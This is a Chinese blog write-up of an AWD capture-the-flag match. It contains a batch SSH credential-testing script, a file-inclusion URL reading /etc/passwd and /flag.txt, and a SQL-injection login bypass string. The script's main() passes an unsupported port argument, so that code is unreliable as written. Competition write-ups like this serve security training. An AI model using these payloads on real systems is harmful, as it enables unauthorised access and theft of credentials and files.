AWD比赛随笔

参加了一次AWD比赛,大致分享一下。

(上半场梭哈全场,下半场被全场梭哈)

第一场正常发挥

首先就是刚开始的20分钟,一定要做好防御。防御不好什么都是扯淡。如果能改root密码就改,我们这场比赛就没让我们改,因为权限不行(晕)。个人感觉如果有openssh的exp会很爽,但我没准备。所以脚本一定要备好。

在比赛刚开始要使用通杀脚本扫一遍是否有队伍还没改密码。

例:ssh_exp.py

代码如下:

复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SSH 批量登录测试器
测试多个主机的SSH登录凭据
"""

import paramiko
import argparse
import threading
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

class SSHBatchLoginTester:
    """SSH批量登录测试工具"""
    
    def __init__(self, hosts_file=None, hosts_list=None, credentials_file=None, 
                 username=None, password=None, key_file=None, max_threads=10, timeout=10):
        """
        初始化SSH批量登录测试器
        
        Args:
            hosts_file: 包含主机列表的文件路径 (每行一个主机)
            hosts_list: 主机列表
            credentials_file: 包含凭据的文件路径 (格式: username:password)
            username: 用户名
            password: 密码
            key_file: 私钥文件路径
            max_threads: 最大线程数
            timeout: 连接超时时间
        """
        self.hosts = []
        self.credentials = []
        self.results = []
        self.max_threads = max_threads
        self.timeout = timeout
        self.username = username
        self.password = password
        self.key_file = key_file
        
        # 加载主机列表
        if hosts_file:
            self.load_hosts_from_file(hosts_file)
        elif hosts_list:
            self.hosts = hosts_list
            
        # 加载凭据
        if credentials_file:
            self.load_credentials_from_file(credentials_file)
        elif username and (password or key_file):
            self.credentials.append({
                'username': username,
                'password': password,
                'key_file': key_file
            })
            
    def load_hosts_from_file(self, filepath):
        """从文件加载主机列表"""
        try:
            with open(filepath, 'r', encoding='utf-8') as f:
                self.hosts = []
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        # 支持 host:port 格式
                        if ':' in line:
                            host, port = line.split(':', 1)
                            self.hosts.append((host, int(port)))
                        else:
                            self.hosts.append((line, 22))  # 默认端口为22
            print(f"[*] 已从 {filepath} 加载 {len(self.hosts)} 个主机")
        except Exception as e:
            print(f"[-] 加载主机文件时出错: {e}")
            import sys
            sys.exit(1)
        
    def test_ssh_connection(self, host, port):
        """测试单个SSH连接"""
        result = {
            'host': host,
            'port': port,
            'status': 'failed',
            'error': None,
            'time_taken': 0
        }
        
        start_time = time.time()
        
        try:
            # 创建SSH客户端
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            
            # 连接
            if self.key_file:
                ssh.connect(
                    hostname=host,
                    port=port,
                    username=self.username,
                    key_filename=self.key_file,
                    timeout=self.timeout
                )
            else:
                ssh.connect(
                    hostname=host,
                    port=port,
                    username=self.username,
                    password=self.password,
                    timeout=self.timeout
                )
                
            # 执行简单命令验证连接
            stdin, stdout, stderr = ssh.exec_command('echo "Connection successful"')
            output = stdout.read().decode().strip()
            
            ssh.close()
            
            result['status'] = 'success' if output else 'failed'
            if not output:
                result['error'] = "Command execution failed"
                
        except Exception as e:
            result['error'] = str(e)
        finally:
            result['time_taken'] = time.time() - start_time
            
        return result
        
    def run_tests(self):
        """运行所有测试"""
        if not self.hosts:
            print("[-] 没有主机需要测试")
            return
            
        print(f"[*] 正在测试 {len(self.hosts)} 个主机的SSH连接...")
        print(f"[*] 使用 {self.max_threads} 个线程")
        
        with ThreadPoolExecutor(max_workers=self.max_threads) as executor:
            # 提交所有任务
            future_to_host = {
                executor.submit(self.test_ssh_connection, host, port): (host, port)
                for host, port in self.hosts
            }
            
            # 收集结果
            for future in as_completed(future_to_host):
                result = future.result()
                self.results.append(result)
                
                # 实时输出结果
                if result['status'] == 'success':
                    print(f"[+] {result['host']}:{result['port']} - 成功 ({result['time_taken']:.2f}秒)")
                else:
                    print(f"[-] {result['host']}:{result['port']} - 失败 ({result['error']})")
                    
    def print_summary(self):
        """打印测试摘要"""
        total = len(self.results)
        success = sum(1 for r in self.results if r['status'] == 'success')
        failed = total - success
        
        print("\n" + "="*50)
        print("SSH批量登录测试摘要")
        print("="*50)
        print(f"测试主机总数: {total}")
        print(f"成功连接数: {success}")
        print(f"失败连接数: {failed}")
        print(f"成功率: {(success/total)*100:.1f}%")
        
        if failed > 0:
            print("\n失败的连接:")
            for result in self.results:
                if result['status'] == 'failed':
                    print(f"  - {result['host']}:{result['port']} ({result['error']})")

def main():
    parser = argparse.ArgumentParser(description="SSH批量登录测试器")
    parser.add_argument("hosts_file", help="包含主机列表的文件 (每行一个)")
    parser.add_argument("-u", "--username", required=True, help="SSH用户名")
    parser.add_argument("-p", "--password", help="SSH密码")
    parser.add_argument("-k", "--key-file", help="SSH私钥文件")
    parser.add_argument("--port", type=int, default=22, help="默认SSH端口 (默认: 22)")
    parser.add_argument("--timeout", type=int, default=10, help="连接超时时间(秒) (默认: 10)")
    parser.add_argument("--threads", type=int, default=10, help="最大并发线程数 (默认: 10)")
    
    args = parser.parse_args()
    
    # 验证参数
    if not args.password and not args.key_file:
        print("错误: 必须提供密码(-p)或密钥文件(-k)")
        return
        
    try:
        tester = SSHBatchLoginTester(
            hosts_file=args.hosts_file,
            username=args.username,
            password=args.password,
            key_file=args.key_file,
            port=args.port,
            timeout=args.timeout,
            max_threads=args.threads
        )
        
        tester.run_tests()
        tester.print_summary()
        
    except Exception as e:
        print(f"错误: {e}")

if __name__ == "__main__":
    main()

利用类似这种脚本去打别人的靶机,看看有没有没换密码的。

然后,我们的上半场只有web靶机,所以使用Kali中的 wapiti 工具进行漏洞扫描。(因为考虑到比赛的时候flag轮换时间短,建议使用这种简便的轻量化的漏洞扫描工具)。
wapiti -u '目标URL'

通过扫描结果得知目标存在文件包含漏洞,在下载图片备份的地方存在文件包含漏洞。经过wapiti的检测发现存在可以直接包含/etc/passwd文件。

在本机通过find指令发现flag文件位于根目录下。命令如下:
find / -name *flag*

(当时我都怀疑自己搞错了,因为flag在/flag.txt文件里)

因为文件包含可以直接http://example.com/image-backup.php?backfile=%2Fetc%2Fpasswd

所以直接就包含/flag.txt

构造如下URL:
http://example.com/image-backup.php?backfile=%2Fflag.txt
直接梭哈全场的flag,爽!!!

但是第二场就难绷了

第二场是一个web靶机,一个pwn靶机。

我先是使用了wapiti扫描web靶机,再用pwnpasi扫描pwn文件,发现存在栈溢出。

发现web靶机存在xss,但是这没什么用啊!!!(服了)

因为是邮件登录系统,所以存在登录框,尝试sql望能密码绕过。如:admin' or '1' ='1

发现有回显,但是有转义字符。

【我的两个队友赛后复盘的意思是这个web靶机只要能登录进去就在首页可以直接拿到flag,那么因为靶机一样,就可以自己链接自己靶机上的mysql,查询管理员用户的md5(但我当时没反应过来,赛后把自己气笑了,但凡我们把md5改了也不会出现这种情况,也可以直接打进去别人靶机了。)】

pwn打的也是糟糕透顶了,明知道有栈溢出,而且canary,nx保护还没开,当时脑子不知道怎么回事,就是exp写不明白了,打不进去。(难绷)

赛后复盘

这次的问题出在了防御上,当然我自己的攻击和指挥也出现了一定的问题,因为是第一次参加线下awd比赛,拿了个决赛优秀奖,倒也还算满意。总结下来就是还得练。 --路虽远,行则将至。

相关推荐
张人玉2 小时前
C#通信精讲系列——C# 通讯编程基础(含代码实例)
开发语言·c#·c#通信
小白勇闯网安圈2 小时前
file_include、easyphp、ics-05
网络安全·php·web
小熊熊知识库2 小时前
C# Ollama 实战聊天小案例实现
开发语言·c#
哈哈xcpc-43992 小时前
天梯赛题解(Python和C++解法)
开发语言·c++·python
A Mr Yang2 小时前
JAVA 对比老、新两个列表,找出新增、修改、删除的数据
java·开发语言·spring boot·后端·spring cloud·mybatis
星释2 小时前
Rust 练习册 120:探索向量与斐波那契数列
开发语言·后端·rust
smile_Iris3 小时前
Day 34 模块和库的导入
python
zmzb01033 小时前
C++课后习题训练记录Day47
开发语言·c++
北极糊的狐3 小时前
报错java: 找不到符号符号: 类 XxxController位置: 程序包 com.ruoyi.xxx.xxx.service
开发语言·windows·python